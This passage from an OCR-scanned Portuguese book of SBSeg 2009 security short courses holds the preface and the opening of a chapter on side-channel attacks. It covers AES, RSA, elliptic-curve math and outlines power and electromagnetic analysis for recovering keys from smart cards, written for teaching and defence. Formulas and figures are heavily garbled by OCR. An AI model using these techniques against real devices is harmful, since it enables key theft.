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Prefacio

Na I1X edicdo do Simpdsio Brasileiro em Seguranca da Informacéo e de Sistemas Computacionais
(SBSeg 2009) recebemos um numero expressivo de 19 submissdes de propostas de minicurso. A
comissdo de avaliagdo composta de 13 pesquisadores selecionou as 6 melhores propostas, as quais
encontram-se publicadas como capitulos neste livro. Além da publicacdo, 0s minicursos integram a
programacado do evento com apresentacdo oral de 4 horas de duracdo cada um. Os capitulos estdo
organizados como comentado a seguir.

O Capitulo 1, “Introducéo a Ataques por Canais Secundarios”, aborda a problematica envolvida na
protecdo de recursos criptograficos sensiveis em dispositivos eletrénicos embarcados.

O Capitulo 2, “Modelos de Criptografia de Chave Publica Alternativos”, concentra os seus esforcos
na avaliagdo das dificuldades de uso de infraestrutura de chaves publicas e faz sugestdes no sentido
da utilizacdo de alternativas para viabilizar a criptografia de chaves publicas em diferentes
contextos.

O Capitulo 3, “Seguranca em Redes Colaborativas: Desafios e Propostas de Solugdes”, discute o0s
desafios na definicdo de politicas, relacbes de confianga, autenticacdo, autorizacdo e na
manutencéo de privacidade em ambientes colaborativos.

O Capitulo 4, “Seguranca em Redes de Sensores sem fio”, faz um apanhado geral dos aspectos de
seguranca no ambiente de redes de sensores sem fio, dando énfase a solucdes de segurancga para
problemas relacionados a roteamento, localizacdo e agregagdo de dados. O capitulo salienta as
necessidades de criptografia para proteger um contetdo em transito.

O Capitulo 5, “Técnicas de Visualizacdo de Dados aplicadas a Seguranca da Informacao”,
apresenta 0 uso de técnicas de visualizacdo gréfica para auxiliar na inspecdo de eventos de
seguranca, quando o nimero de ocorréncias é elevado.

E finalmente, o Capitulo 6, “Vulnerabilidades em Aplicacdes Web e Mecanismos de Protecdo”,
estuda as vulnerabilidades mais comuns do ambiente web e propde um conjunto de medidas de
prevencdo para mitigar as mesmas.

NOs da organizacdo do SBSeg 2009 agradecemos a comissao de avaliagcdo, pela dedicacdo na
avaliacdo dos minicursos, aos pesquisadores, pelo envio das propostas, e aos autores dos capitulos,
pelos excelentes contetdos. Temos certeza que este livro representa o estado da arte em pesquisa
em &reas importantes para a seguranca da informacdo e de sistemas computacionais e serd uma
referéncia de consulta para muitos.

Altair Santin
Raul Ceretta Nunes
Ricardo Dahab

Organizadores
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Capitulo

1

Introducao a Ataques por Canais Secundarios

Jodo Paulo Fernandes Ventura ! , Ricardo Dahab 2

Abstract

Embedded electronic devices capable of communicating usually implement secure crypto-
graphic algorithms and schemes which make use of secret keys. However, these hardware
devices may reveal partial (or even total) information about these keys, through unsus-
pected channels such as eletromagnetic emissions and power consumption traces. Attacks
using these secondary means, i.e., not using the main communication channels with the
device, are collectively known as Side-Channel Attacks. This text gives an introduction to
this subject, discussing examples and some known countermeasures.

Resumo

Dispositivos eletronicos embarcados capazes de comunicarem-se usualmente implemen-
tam algoritmos e esquemas criptogrdficos que empregam chaves sigilosas. Contudo,
esses dispositivos podem revelar informacdes parciais (ou até completas) sobre essas
chaves, por canais insuspeitos como medicoes de emissoes eletromagnéticas ou de con-
sumo de poténcia. Ataques que usam esses canais secunddrios, isto é, alternativos ao
canal principal de comunicacdo com o dispositivo, sdo conhecidos por Ataques por
Canais Secunddrios (ou também Ataques por Canais Colaterais). Este texto faz uma
breve introdugdo ao assunto, discutindo exemplos e algumas contramedidas conhecidas.

1.1. Introducao

Os modelos atuais de comunicacao consistem na crescente troca de informagdes proces-
sadas digitalmente através de canais inseguros (Figura 1.1). Portanto, fica a cargo das
entidades envolvidas garantirem a privacidade, integridade e autenticidade tanto dos da-
dos como também das préprias entidades. O provimento de tais requisitos de segurancga é
comumente obtido com o uso de técnicas criptogréficas.

'Este trabalho foi parcialmente financiado pelo CNPq
%Este trabalho foi parcialmente financiado pela FAPESP e pelo CNPq
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Alice < canaliilseguro > Bob
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Figura 1.1. Entidades Alice e Bob se comunicam através de um canal inseguro
enquanto adversario Eve tenta obter acesso a mensagem.

As primeiras técnicas modernas implementadas sdo os chamados modelos crip-
togrdficos simétricos, os quais utilizam algoritmos como TEA, DES, Triple DES e AES
[Stinson 2002]. Apesar das implementacdes de tais algoritmos serem muito eficientes,
tanto em hardware quanto em software, sua principal desvantagem advém do fato das en-
tidades comunicantes necessitarem previamente estabelecer através de um canal seguro a
chave secreta a ser utilizada (Figura 1.3(a)).

Os algoritmos criptograficos assimétricos como RSA [Rivest et al. 1978], DSA
[El Gamal 1985], ECC [Koblitz 1987, Miller 1986], etc, foram criados com o intuito de
eliminar o entrave do acordo de chaves (Figura 1.3(b)). Entretanto, devido a maior com-
plexidade dos cdlculos efetuados e do maior nimero de bits necessdrios para compor as
chaves, esses protocolos sao muito menos eficientes do que os simétricos.

Em ambos os casos, a seguranca do método baseia-se na premissa de que a chave
utilizada, seja a chave secreta no modelo simétrico, seja na chave privada no modelo
assimétrico, ndo pode ser obtida observando-se somente informag¢des publicas ou obtidas
do canal inseguro. Do ponto de vista de tal premissa baseiam-se as seguintes hipoteses:

1. Intratabilidade computacional: a quantidade de tempo e recursos computacionais
necessarios para quebrar um esquema criptogréfico € tao grande que torna proibitiva
qualquer tentativa. O crescente poder de processamento dos computadores € o
maior inimigo dessa premissa, forcando a adocdo de chaves com comprimentos
cada vez maiores.

2. Auséncia de falhas na especificacdo: ainda que a obtencdo da chave através de
ataques por forca bruta seja invidvel, o esquema criptografico ndo deve possuir
falhas que viabilizem a descoberta da chave secreta.

Motivacao

Ainda que as duas hipdteses anteriores sejam validas, ndo existem garantias plenas de que
a implementacdo de um método criptogrifico seja segura. Informagdes sensiveis podem
vazar através de canais secundarios tais como medi¢do do consumo de poténcia, em-
anacodes eletromagnéticas, etc, ndo previstos durante a implementacdo. Isso é ainda mais
dramaético em dispositivos eletronicos embarcados, como smart cards, SIM Cards e sen-
sores RFID porque a natureza exposta de seus circuitos 0s torna muito mais vulnerdveis
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Cyberflex | Access

Figura 1.2. Smart card, SIM card e sensor RFID.

a esse tipo de vazamentos. A coleta e andlise dessas informagdes podem viabilizar um
ataque contra o método criptogréfico; esse novo modelo de ataque ¢ denominado Ataque
por Canais Secundérios ou Ataques por Canais Concorrentes.

A proposta desse trabalho é fazer uma breve introducio a esse modelo de ataque,
com foco em dispositivos embarcados.
Organizacio deste documento

Além desta, compdem este documento as seguintes se¢oes:

1.2. Esquemas criptograficos de interesse: apresentacio de conceitos matemati-
cos basicos e alguns esquemas criptogréaficos utilizados nas se¢des seguintes.

1.3. Tipificacio dos ataques: categorizacao dos ataques de acordo com a grandeza
fisica que pode fornecer informacdes sensiveis sobre a chave de um esquema crip-
togréfico.

1.4. Exempos de ataques por canais secundarios: apresentacdo de ataques e
possiveis solugdes.

1.5. Consideracoes finais: discussao sobre todos os resultados apresentados.

1.2. Esquemas criptograficos de interesse

Nesta secdo, inicialmente serd apresentado o conceito da teoria dos nimeros, com o0 ob-
jetivo de embasar a descri¢cao algoritmos simétricos e assimétricos. Ainda que esses al-
goritmos sejam vastamente conhecidos pela comunidade, € necessario que o leitor tenha
conhecimento de certas partes fundamentais, uma vez que sdo elas que viabilizam os
ataques.

1.2.1. Conceitos basicos da algebra e Teoria dos Nimeros

Grupos e Corpos Finitos

Seja S um conjunto e ¢ uma operagdo qualquer sobre elementos desse conjunto. O par
(S,¢) € um grupo obedecer as seguintes propriedades:

1. Fechamento : Va,b € S,acob € S.
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2. Comutatividade : Va,b € S,acb =boa.
3. Associatividade: Ya,b,c € S,(aob)oc=ao(boc).
4. Existéncia de elemento neutro: An € S |Va € S;aon=noa =a.

5. Existéncia de inverso : Ya € S,3i € S | aci = ioa = n, onde n € o elemento neutro.

Um grupo € finito se S € um conjunto finito. Nesse caso, a ordem de um elemento
a € S é o menor inteiro ¢ tal que:

acad ...oa=n
—_—
1

Desse modo definimos um corpo como um conjunto F munido de duas operacdes,
adicao (denotada por +) e multiplicagdo (denotada por -) tais que:

1. (F,+) formam um grupo abeliano com elemento neutro denotado por 0.
2. (F\{0},-) formam um grupo abeliano com elemento neutro denotado por 1.

3. Ya,b,ceF:(a+b)-c=a-c+b-c.

Um corpo € finito quando F € finito e quando esse for o caso, definimos a ordem
do corpo finito como |F| = g. Existe apenas um corpo finito F de ordem ¢ se e somente se
g = p™ , sendo p um nimero primo denominado caracteristica de [F. Dois corpos finitos
de mesma ordem sdo iguais, a menos de um isomorfismo entre seus elementos. Assim

4 m
denotamos o corpo finito com p™ elementos por [ ym.

Um corpo € dito primo se m = 1. Um corpo primo de ordem g pode ser definido
tomando-se F, = Z, = {0,1,2,...g — 1} e as operagdes de soma e multiplicagdo usuais
de mddulo g, isto é, (a+b) = (a+b) mod g e (a-b) = (a-b) mod g onde x mod p é o
resto da divisdo de x por ¢g. J& corpos primos de ordem g = 2" sdo denominados corpos
bindrios. Seus elementos sdo polindmios com coeficientes em {0, 1} e grau maximo igual
am—1:

m—1
Fom = { Z aix' 1a; € {0,1}}
i=0

Neste caso, para a,b € Fom, definimos a+ b e a-b mdédulo um polindmio irre-
dutivel f(x) de grau m. Elementos de Fo» podem ser representados como cadeias de m
bits como mostra a Tabela 1.1.

0 [ 0000 X2 0010 x 0100 x4 x2 1100
1 Jooo1| «2+1 [oo11 | +1 o101 X¥+x2+1 [1101
x (0010 x2+x Jooll| X+x |o110] X+x2+x |1110
x+110011 || x2+x+1]0011 | P+x+1 0111 | ¥ +x2+x+1] 1111

Tabela 1.1. Elementos de F,s com polindmio irredutivel f(x) = x* +x+ 1.
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Algoritmo Estendido de Euclides

Sejam a e n nimeros naturais com n > 0 e n > a, o maior divisor comum d de a e n pode
ser facilmente obtido utilizando o algoritmo de euclides que usa a seguinte propriedade
indutiva:

d =mdc(a,n) = mdc(n mod a,a)

O Algoritmo de Euclides pode ser estendido de forma a calcular x,y € Z tais
que d = ax + by (Algoritmo 1.1). Supondo d = mdc(a,n) = 1, ao final da execugio do
algoritmo teriamos:

ax+ny=1

Portanto ax = 1 —xy, ou (a-x) mod n = 1, o que implica que x é o inverso multi-
plicativo de a. Denotamos esse inverso por a~! mod n. Dessa forma, o Algoritmo Esten-
dido de Euclides é uma forma de determinar inversos multiplicativos em grupos abelianos
multiplicativos.

No restante desse texto usaremos a seguinte notagdo: Z, = {0,1,2,...,.n—1} ¢
Zr={1,2,...,n— 1}, para n um inteiro positivo. Também, quando ¢ mod n = b mod n,
para a e b inteiros quaisquer e n um inteiro positivo, escrevemos a = b (mod n) e dizemos
que a e b sdo congruentes modulo n.

Algoritmo 1.1. Algoritmo Estendido de Euclides
Entrada: inteiros positivos a e n tal que a < n
Saida: d = mdc(a,n) e inteiros x,y tais que ax+ny =d

Ol.u+<a,v+n
02. x1 —1,y; <1

03. Enquanto u # 0 faga

04. g« FJ,r<—v—qu,x<—x2—qx1,y<—y2—qy1
u

05. d<—v,ve—x3,y<—m

06. Retorne (d,x,y)

Teorema chinés do resto

Seja M = []/_, m;, onde {my,ma,...,mj,mj;1,...,m,} onde cada m; é um inteiro positivo
e mdc(m;,mj) = 1. Suponha o sistema:

x=a; (mod m)

=ap (mod m2)

x=a, (mod m,)
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O Teorema Chinés do Resto (Chinese Remainder Theorem ou CRT) fornece uma
solu¢do Unica para esse sistema dada por:

r
M

X = ZaiMiyi mod M, M,' =—2e8e)y; :Mi_l mod m;
m;

i=1

Operagdes aritméticas com nimeros extensos requerem um grande tempo de pro-
cessamento, sendo uma das mais caras a exponenciacdo modular. O Teorema Chinés do
Resto é um método que permite que x mod M, para M = []/_,m;, possa ser calculado a
partir do cdlculo de x mod my, ...,x mod m, que sdo quantias bem menores, possibilitando
uma reduc¢do do custo de processamento.

1.2.2. Sistemas simétricos

Fundamentos

Em esquemas criptograficos de chaves simétricas as entidades envolvidas na comunicacio
primeiramente entram em acordo de que a chave utilizada € secreta e auténtica e sé entio
realizar a comunicagdo através do canal inseguros [Hankerson et al. 2003]. Exemplos
de sistemas simétricos sdo o DES (Data Encryption Algorithm), o TripleDES e o AES
(Advanced Encryption Standard) [Daemen and Rijmen 2002].

canal gigilogo e sequro canal autenticado
r A A A
Alice E canal inseguro Bob Alice < canal zlseamo > Bob
| |
| |
| |
| |
| I
| |
v h J
Eve Eve
(a) Criptogratia simétrica (b) Criptografia assimétrica

Figura 1.3. Criptografia simétrica versus criptografia assimétrica. [Hankerson et al. 2003]

Apesar de implementagdes tanto em hardware como em software serem extrema-
mente eficientes, existem dois inconvenientes nesse esquema criptografico:

e Distribuiciao das chaves: o acordo da chave secreta deve ser feito através de
um canal secreto e autenticado. Isso pode ser feito fisicamente (através de um
entregador confidvel). Outra maneira € utilizar uma TTP (Trusted Third Party ou
Terceira Parte Confidvel) que inicialmente estabelece um acordo de chaves com
todas as entidades comunicantes e distribui outras chaves entre elas conforme a
necessidade.

e Gerenciamento das chaves: em um sistema com N entidades, cada uma delas
precisaria armazenar N — 1 chaves secretas. Ainda que seja utilizado a TTP para
fazer requisi¢ao de chaves sob demanda, ela se tornaria um gargalo na comunicagdo
[Hankerson et al. 2003].
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AES: Advanced Encryption Standard

Um dos primeiros esquemas simétricos de criptografia criados foi o DES (Data Encryp-
tion Standard) pela IBM em 1973 a pedido do National Bureau of Standads (atualmente
conhecido como National Institute of Standards and Technology). Ele foi um dos padroes
mais utilizados na histéria. Com o crescimento da capacidade computacional desde sua
criacdo, em 1997 um consdrcio mostrou ser vidvel quebrar o DES e portanto o NIST
lancou um processo de selecao de algoritmos para substitui-lo. O algoritmo vencedor do
concurso foi criado por Vincent Rijmen e Joan Daemen e denominado Rijndael. Origi-
nalmente o Rindael suportava mensagens composta por blocos de 128, 160, 192, 224 e
256 bits utilizando chaves de 128, 160, 192, 224 ou 256 bits. Porém a versdo sob o nome
de AES suporta apenas blocos de 128 bits cifrados com chaves de 128, 192 ou 256 bits.

Cipher Key

@

Round key

4-AddRoundKey &

SubBytes

Round key 10

AddRoundKey

Ciphertext FEEH

Figura 1.4. Advanced Encryption Standard [Zabala 2009].

@

No AES a unidade de encriptacdo das mensagens é um bloco de 128 bits, que
podem ser visualizados como uma matriz 4 X 4 com termos de 1 byte. Como as oper-
acoes sao feitas byte-a-byte e cada byte possui 8 bits, as operacdes podem ser entendidas
como operacdes sobre corpos finitos bindrios da forma Fs. O processo de encriptagdo
consiste em realizar rounds (ou rodadas) de transformacdes repetidamente e os resultados
intermedidrios da encriptacdo sdo armazenados em uma matriz 4 x 4 denominada State.
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Como mostra a Figura 1.4, as etapas que podem compor uma rodada sao:

1. AddRoundKey: nesse passo a subchave é combinada com a matriz de estados. Em
cada rodada, uma nova subchave € derivada a partir da chave principal utilizando o
algoritmo de escalonamento de chaves do AES, sendo que as subchaves possuem o
mesmo tamanho da matriz de estados. A operacdo de adicdo consiste em realizar
um ou-exclusivo de cada um dos bits que compdem as matrizes (Figura 1.5).

a0.0 aO 1 aO,Z a0,3 a0,4 aD 5 kD 0 kO,T kD 2 kO 3 k0,4 kﬂ‘s b0,0 b01 bO 2 bDJ bO 4 bO 5
Qo | Qg | @ | g | @1y | i ® Kio | Ko | Ko | Kia | Kia | Ko big | by | big | by | byy | bys
@0 | 321 | 822 | 923 | Q24 | 5 Koo | Kax | Koz | Kas | Ko | Ko byo | baa | oz | bys | oy | bas

Figura 1.5. AddRoundKeys [Daemen and Rijmen 2002].

2. SubBytes: cada byte do vetor € atualizado utilizando uma de matriz de substituicao
com termos de 8 bits denominada S-BOX. E essa matriz é o que garante parte da
aleatoriedade do encriptador. A S-BOX € gerada a partir dos inversos multiplica-
tivos sobre F,s (Figura 1.6).

49,0 | 90,1 | 9o, ‘ 4, ‘ 4,4 ﬁ&,—— S-box | ——1byo | bos | by, ‘ b, ‘ oy | bos
10| 1,9 | 8, a,',j {31,5 big | byq DM b,‘/j 14 | D1s
30| 821|822 923|824 |925 byo by | byp | Dys| Doy bys
30| 837 | 83, |933 ]934 935 by | byq|bsy|bys|byy|bys

Figura 1.6. SubBytes [Daemen and Rijmen 2002].

3. ShiftsRows: nesse estdgio as linhas s@o rotacionadas de um certo niimero i de ter-
mos a esquerda, sendo i o indice da linha da matriz. Logo, enquanto a primeira
linha (i = 0) ndo sofre rotacdo, a quarta linha (i = 3) € rotacionada de trés termos
(Figura 1.7).

m h 0 p no shift > m h 0 p

J k | Ccyclic shift by‘C1 ] ‘ ‘ :> J

\ \ \
d e fl .. Tyclic Shift by C2 (2) :> d e
| \ \

| \ \
w X y Z cyclic shift vaC3 (3) ‘ ‘ :> w X y

Figura 1.7. ShiftRows [Daemen and Rijmen 2002].
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4. MixColumns: nesse estdgio, as colunas da matriz State s@o interpretadas como
elementos de Fys(x), sendo f(x) = x* 4+ 1 o polindmio irredutivel utilizado. Cada
coluna é multiplicada por c(x) = (03,01,01,02) € F,s(x). Essa operacdo pode ser
visualizada como uma multiplicacdo de matrizes (Figura 1.8).

ay) bOJ
d0,0 | 0,1 49,3 | 90,4 | 905 ® ( ) bg g | by, by s | boa|bos
c(x
10| @11 4 L1910 | 915 B D | bLJ by byy]bis
a0 | 92,1 a, 433|924 | 925 by b5 sz b3 b4 |02
430 | 93,1 3393495 by | by by s |bs4|bss
dy | by,

Figura 1.8. MixColumns [Daemen and Rijmen 2002].

1.2.3. Sistemas assimétricos

Sistemas assimétricos, também conhecidos como sistemas de chave puiblica, foram ini-
cialmente propostos [Diffie and Hellman 1976] para solucionar as questdes da distribuicao
e gerenciamento das chaves secretas na criptografia simétrica. Nesse esquema criptogra-
fico, as entidades ndo precisam garantir o sigilo das chaves de encriptacio mas apenas
sua autenticidade. Cada entidade deve escolher um par (e,d), correspondendo respecti-
vamente a chave piiblica (para encriptar) e a chave privada (para decriptar), sendo com-
putacional invidvel descobrir a chave privada partindo apenas da chave publica. Esses
sistemas também precisam prover mecanismos para garantir o sigilo das mensagens, o
nao repudio das entidades e a autencididade de mensagens e entidades [Stinson 2002,
Hankerson et al. 2003].

Apesar de resolver os inconvenientes de sistemas simétricos, sistemas de chave
publica sdo substancialmente mais lentos. Por isso, a pratica € a utilizacdo de sistemas
hibridos, nos quais utiliza-se o sistema assimétrico apenas para estabelecer chaves para
serem utilizadas em sistemas simétricos.

1.2.3.1. Sistemas RSA

Os Algoritmos 1.2, 1.3 e 1.4 descrevem os procedimentos para geracdo de chaves, encrip-
tacdo e decriptacdo, respectivamente, do RSA. A notagdo a €g [x,y] significa escolher um
nimero a aleatoriamente dentro do intervalo [x,y].

E importante notar que todas as operacdes descritas nesses algoritmos podem ser
implementadas eficientemente. Em particular, o célculo da chave privada d no passo 04
do Algoritmo 1.2 € feito com o Algoritmo Estendido de Euclides.

A robustez criptogréfica do RSA vem da dificuldade reconhecida do problema da
fatoracdo de inteiros grandes, no caso o inteiro n, e da também reconhecida dificuldade
de inversao da fun¢ao de encriptagdo:

m® mod n

11
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sem o conhecimento da chave privada d.

Algoritmo 1.2. Geracao do par de chaves do RSA
Entrada: parametro seguro /
Saida: chave publica (e,n) e chave privada (d)

01. Escolher aleatériamente dois primos p € g de % bits de comprimento.
02. Calcularn < pge ¢(n) — (p—1)(g—1)

03. Escolher e €g [1, ¢ (n)] tal que mdc(e,¢(n)) =1

04. Calcular um inteiro d tal que d € [1,¢(n)] eed =1 (mod ¢(n))

Algoritmo 1.3. Encriptacdo bésica do RSA
Entrada: chave publica (e,n) e texti claro m € [0,n — 1]
Saida: texto encriptado ¢

01. Calcular ¢ «+ m° mod n.
02. Retornar ¢

Algoritmo 1.4. Decriptacdo basica do RSA
Entrada: chave publica (e,n), chave privada d, texto encriptado ¢
Saida: texto claro m

01. Calcular m «— ¢? mod n.
02. Retornar m

Para assinar uma mensagem usando o RSA, procede-se como descrito no Algo-
ritmo 1.5, onde 4 é uma funcdo de resumo criptografico (hash function). O leitor interes-
sado pode encontrar maiores detalhes em [Stinson 2002].

Algoritmo 1.5. Assinatura basica do RSA
Entrada: chave piblica (e,n), chave privada d, texto claro m
Saida: assinatura de m

01. Calcular s < h(m)? mod n, onde h(m) é o resumo da mensagem .
02. Retornar s

1.2.3.2. Sistemas baseados em curvas elipticas
Fundamentos algébricos

Uma curva eliptica E sobre um corpo [ € definida pela seguinte equagdo, chamada de
equacgdo de Weierstrass como [Hankerson et al. 2003]:

E :y2+a1xy+a3y:x3+a2x2+a4x—|—a6
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onde ay,ay,as,as, a6 € F e o discriminante A # 0, onde

A = —d3dy — 8d; — 27d2 + 9dydyds, e
dr = a% +4a,,
dy = 2a4+ayaz,
dg = a% +4ag,

2 2 2
dg = ajae +4aras — ajazas +arasz — aj.

Os pontos em E de interesse para nés serdo os definidos pelo conjunto E(F), a
saber

E(F)={(x,y) eEFxF:aixy+azy—x —axx* —asx—ae =0} U{0} (D)

onde & € o ponto no infinito. A Figura 1.9 mostra duas curvas elipticas E; e E, definidas
sobre o corpo R.

Neste texto, nosso interesse é em curvas elipticas sobre corpos finitos. E sabido
que os pontos do conjunto E(F) formam um grupo com uma operagio de adi¢do bastante
peculiar cuja defini¢do precisa ndo € do escopo desse texto. Para todos os efeitos, nos limi-
tamos a denoté-la por +; conseqiientemente denotaremos a soma de k parcelas do ponto
P por kP. No restante do texto, usaremos a expressao curva eliptica E(F) significando o
conjunto definido na equacao (1).

1 2

[N -l
-

] \ —

—1

(a) (b)

Figura 1.9. Curvas elipticas (@) £, : > = x> —x e (b) E» : 3> = x> + 1x+ 3
[Hankerson et al. 2003].
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Esquemas de encriptacio e decriptacao

Criptografia baseada em curvas elipticas foi inicialmente proposta por Miller em 1986
[Miller 1986] e Neal Koblitz em 1989 [Koblitz 1987].

%

(C,.C,) = (kP, M +kQ,)
7'y

Alice

Y

Boeb

|
|
|
|
|
h 4
Eve

Figura 1.10. Esquema de encriptacao baseados em curvas elipticas.

Devido a restricdes do poder de processamento e memoria e disponiveis, dis-
positivos embarcados preferencialmente utilizam sistemas ECC. Isso ocorre porque com
chaves secretas de poucas centenas de bits € possivel alcancar os mesmos niveis de segu-
ranga de um sistema RSA de milhares de bits.

Seja uma curva eliptica E(IF), P um ponto P € E(F) de ordem n. Para criar sua
chave publica, Bob determina um ponto um inteiro d €g [1,n— 1] e calcula o produto
Q = dP. Assim sua chave publica € o ponto Q e d sua chave privada. Para enviar uma
mensagem para Bob, Alice deve representar sua mensagem m como um ponto M € E(F).
Em seguida ela escolhe k €g [1,n — 1] e, utilizando os valores piblicos P e Q, ela calcula

Ci =kP e C; =M+ kQ. A mensagem encriptada corresponde a esse par de pontos
(C1,C3) (Algoritmo 1.2).

Algoritmo 1.2. Encriptacdo bésica em curvas elipticas
Entrada: parimetros puablicos (p,E(F),P,n)
Saida: mensagem encriptada (C;,C,)

01. Representar a mensagem m como um ponto M € E(IF,)
02. Escolher k €g [1,n— 1]

03. Calcular C; < kP

04. Calcular C «— M + kQ

05. Retornar (C1,C5)

Bob pode facilmente decriptar a mensagem calculando (Algoritmo 1.3):
M=C,—dC;

= C, — d(kP) = C; — k(dP)
= C,—dQ
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Algoritmo 1.3. Decriptacao basica em curvas elipticas
Entrada: parimetros (p, E(IF),P,n), chave privada d e texto encriptado (Cy,C3)
Saida: texto claro m

01. Calcular M «— C, — dC;
02. Extrair mensagem m a partir de M
03. Retornar m

Representacao dos pontos

Seja I um corpo onde cdlculo de inversos é computacionalmente mais caro do que a
multiplicacdo. Podemos representar a curva eliptica E(F) no sistema de coordenadas
projetivas, de modo que a inversdo torne-se uma operagdo mais barata. Sejam c¢ e d
inteiros positivos e [F um corpo; podemos definir uma relacdo de equivaléncia (~) sobre

o conjunto 3\ {(0,0,0)} de triplas sobre F como

(X1,Y1,Z1) ~ (X2,Y2,25), seX, = AXy, Y1 = A%Y,, Z = AZ, para algum A € F* :
Assim, a classe de equivaléncia contendo (X,Y,Z) € F3\ {(0,0,0)} é definida por
(X:Y:2)= {(xcx,m,u) yR= IF},

onde (X :Y : Z) é denominado ponto projetivo e (X,Y,Z) é um representante de (X :Y : Z).

Figura 1.11. Plano projetivo [Hankerson et al. 2003].

Denotando o conjunto de todos os pontos projetivos de F por P(F), podemos
verificar que existe uma bijecdo entre o conjunto de pontos projetivos

P ={(X:Y:Z):X,Y,ZeF,Z+#0}



16

Minicursos SBSeg 2009

e o conjunto de pontos afins
A(F) ={(x,y) : x,y € F},

sobre o qual a equacdo de Weierstrass € usualmente definida. O conjunto de pontos pro-
jetivos
P(F)’={(X:Y:Z):X,Y,ZeF,Z=0}

€ denominado linha no infinito, sendo que nenhum elemento dos pontos afins € mapeados
para esse conjunto. Ilustrando graficamente, vemos na Figura 1.11 a projecdo do plano
que contém os pontos de A(F) sobre o espago projetivo. Todos os pontos no espago
correspondem a P(F)*, exceto o plano identificado pela circunferéncia que corresponde
ao conjunto P(F)°.

A forma projetiva da equacdo de Weierstrass pode ser definida substituindo x por
% e y por %, Z #0. O ponto no.inﬁnito em A(F) pode ser conceitualmente interpretado
como qualquer reta paralela ao eixo y; entdo, tomando duas dessas retas paralelas, a pro-
jecdo do ponto no infinito corresponde a intersec¢ao das projecdes das retas que pertence
ao plano P(F)°.

A equacgdo de Weierstrass pode ser projetada sobre diferentes sistemas de coorde-
nadas projetivas, os quais sao classificados de acordo com os valores de ¢ e d. Tomando
acurva E(Fm) :y?> =% +ax+b, p ¢ {2,3}, a equagdo pode ser projetada sobre os
seguintes tipos coordenadas projetivas:

e Coordenadas padrdo: tomando ¢ = d = 1, os pontos afins correspondem a ()7(, %)
e a equagdo da curva
Y?Z = X +aXZ* + b7’
tem como ponto no infinito (0: 1:0); assim paraP= (X :Y : Z) temos —P = (X :
-Y:Z).

e Coordenadas jacobianas: tomando ¢ =2 e d = 3, os pontos afins correspondem a
( %, %) e a equagdo da curva
Y2 =X +aXz*+b2°
tem como ponto no infinito (1:1:0); assimparaP= (X :Y : Z) temos —P = (X :
-Y:2Z).

Outros sistemas de coordenadas ndo serdo apresentados, uma vez que os ataques

neste texto utilizam apenas coordenadas padrdo e jacobianas. O leitor interessado pode
encontrar maiores detalhes em [Hankerson et al. 2003].

Forma nao-adjacente

Seja k um nimero inteiro representado por n bits. Pode-se representar £ usando uma
forma alternativa, NAF (k) = (k;_,,k;_,,...,k},k;), com as seguintes propriedades:
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1. kl e {—1,0,1}.

/

2. Nio existem k; e k; |, ambos ndo nulos na representagdo NAF (k).

3. O valor de k € dado por:

-1
k=Y k2!
i=0
As propriedades de NAF (k) sdo as seguintes:

1. NAF (k) é tnica.
2. NAF (k) tem a menor quantidade possivel de digitos ndo nulos.

3. n<I<n+1.

21 2l+l

5. NAF (k) possui aproximadamente % digitos nulos

Como exemplo, o ndmero 118 (sistema decimal) equivaleria a 0111 0110, e a
1000 1010y4F,, sendo 1 = —1. Essa representacdo € utilizada para acelerar algoritmos de
multiplicacdo de pontos em curvas elipticas porque como a quantidade de digitos nulos é
muito maior em NAF (k) do que na representagio usual, uma menor quantidade de somas
sao realizadas.

1.3. Tipificacao dos ataques

Inicialmente serdo apresentados canais ndo previstos pelos quais informacdes sensiveis
sobre a chave secreta podem ser obtidas. Em seguida serdo apresentados alguns ataques
e suas respectivas contra-medidas.

1.3.1. Analise simples de poténcia

A tecnologia de semicondutores dominante em microprocessadores, memorias e dis-
positivos embarcados € a CMOS [Sedra and Smith 1997], sendo inversores 16gicos sua
unidade basica de construcdo. Como dispositivos utilizam fontes constantes de tensdo, a
poténcia consumida varia de acordo com o fluxo de sinais nos componentes, e esses de
acordo com as operacdes realizadas. Se esse consumo de poténcia for monitorado com
auxilio de um osciloscopio poderemos estabelecer um rastro de consumo de poténcia
(power trace) a cada ciclo do dispositivo.

Supondo que o adversdrio saiba qual o algoritmo implementado, ele pode deter-
minar em quais instantes o dispositivo realiza operagcdes de matematicas que utilizem a
chave secreta (como assinatura digital ou decriptacdo de mensagens) e, de acordo com o
power trace, determinar o valor dos bits que formam a chave. Esse modelo de ataque é
denominado Anélise Simples de Poténcia (SPA ou Simple Power Analysis).

17
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1.3.2. Analise diferencial de poténcia

Quando a variacdo do consumo de poténcia ndo € sensivel o suficiente em relacdo as
operacoes executadas por um dispositivo, o adversario pode monitorar como 0 consumo
varia em relacdo ao valor de uma determinada varidvel. Nesse ataque, primeiramente de-
tectamos uma varidvel V, influenciada, durante um processo de decriptacio ou assinatura
digital, por um texto m e uma porcao desconhecida da chave privada. A partir disso,
definimos a fung@o de selegido V = f(k',m).

O adversario entdo coleta milhares de power traces, determinando indutivamente
todos os bits que compdem a chave privada através do cdlculo da derivada dessa fungao.
Para cada bit k] corretamente previsto obtemos uma derivada ndo nula para os valores
de k' e m, caso contrério a derivada é nula. O processo é repetido até que cada k! seja
determinando [Hankerson et al. 2003]. Esse modelo de ataque é conhecido como Anélise
Diferencial de Poténcia (DPA ou Differential Power Analysis).

1.3.3. Analise simples e analise diferencial de campos eletromagnéticos

A passagem de uma corrente elétrica através de qualquer dispositivo eletronico induz
um campo magnético ao seu redor. Assim como a poténcia consumida, as emanagdes
eletromagnéticas podem variar em funcdo das instru¢des executadas por um algoritmo
criptografico.

Andlise Simples de Ondas Eletromagnéticas (SEMA ou Simple ElectroMagnetic
Analysis) e Andlise Diferencial de Ondas Eletromagnéticas (DEMA ou Differential Elec-
troMagnetic Analysis) sao métodos nao intrusivos e relativamente baratos de atacar um
sistema criptogréfico.

Em ataques de consumo de poténcia, o adversario monitora o consumo de poténcia
de todo um conjunto de unidades ldgicas ativas simultaneamente, enquanto em ataques
eletromagnéticos o adversdrio recebe os sinais de todos as unidades do mesmo conjunto
e precisa separd-los antes de andlisa-los. Apesar da dificuldade maior na coleta de dados,
uma vez separados, os sinais eletromagnécitos podem revelar muito mais informacdes da
execucao do esquema criptografico, tornando EMA muito mais ameagadora do que SPA
e DPA [Hankerson et al. 2003].

Estudos utilizando EMA [Agrawal et al. 2003] demonstraram ser possivel com-
prometer a seguranca de smart cards providos de medidas de prote¢do contra ataques
SPA/DPA. Mais recentemente Oren e Shamir [Oren and Shamir 2007] mostraram que
